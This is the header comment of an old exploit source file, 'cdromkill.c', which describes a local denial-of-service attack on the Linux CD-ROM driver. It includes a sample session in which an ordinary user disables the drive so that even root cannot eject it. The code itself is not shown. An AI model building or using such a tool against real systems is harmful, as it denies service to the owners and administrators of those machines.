/*	cdromkill.c
		by l0om  - WWW.EXCLUDED.ORG

	(tested on SuSE 9.2 [standard] , and linux 2.4.27	  (module cdrom.o))

	"it is summer- it is cloudy- it is beer time- it is time for a beer production!"
		--l0om - [a]nother [b]eer [p]roduction


	this program let you completly shutdown the cdrom drive. completely means:
	- ioctls cannot be set
	- cant eject
	- cant mount
	- cant open it physically on the normal way
	- same for the root user

	you need to have read permissions on the drive. for normal the permissions are
	brw-rw---- root disk

	but if badass loggs in on X
	brw------- badass disk

	now as user badass you can completly disable the cdrom drive.



	badass@linux:~/test> ./cdromkill /dev/hdb
	killing the cdrom drive... hopefully done  :)
	badass@linux:~/test> eject
	eject: kann `/dev/hdb' nicht öffnen
	badass@linux:~/test> su -c "eject"
	Password:
	eject: kann `/dev/hdb' nicht öffnen
	badass@linux:~/test> su -c "halt"
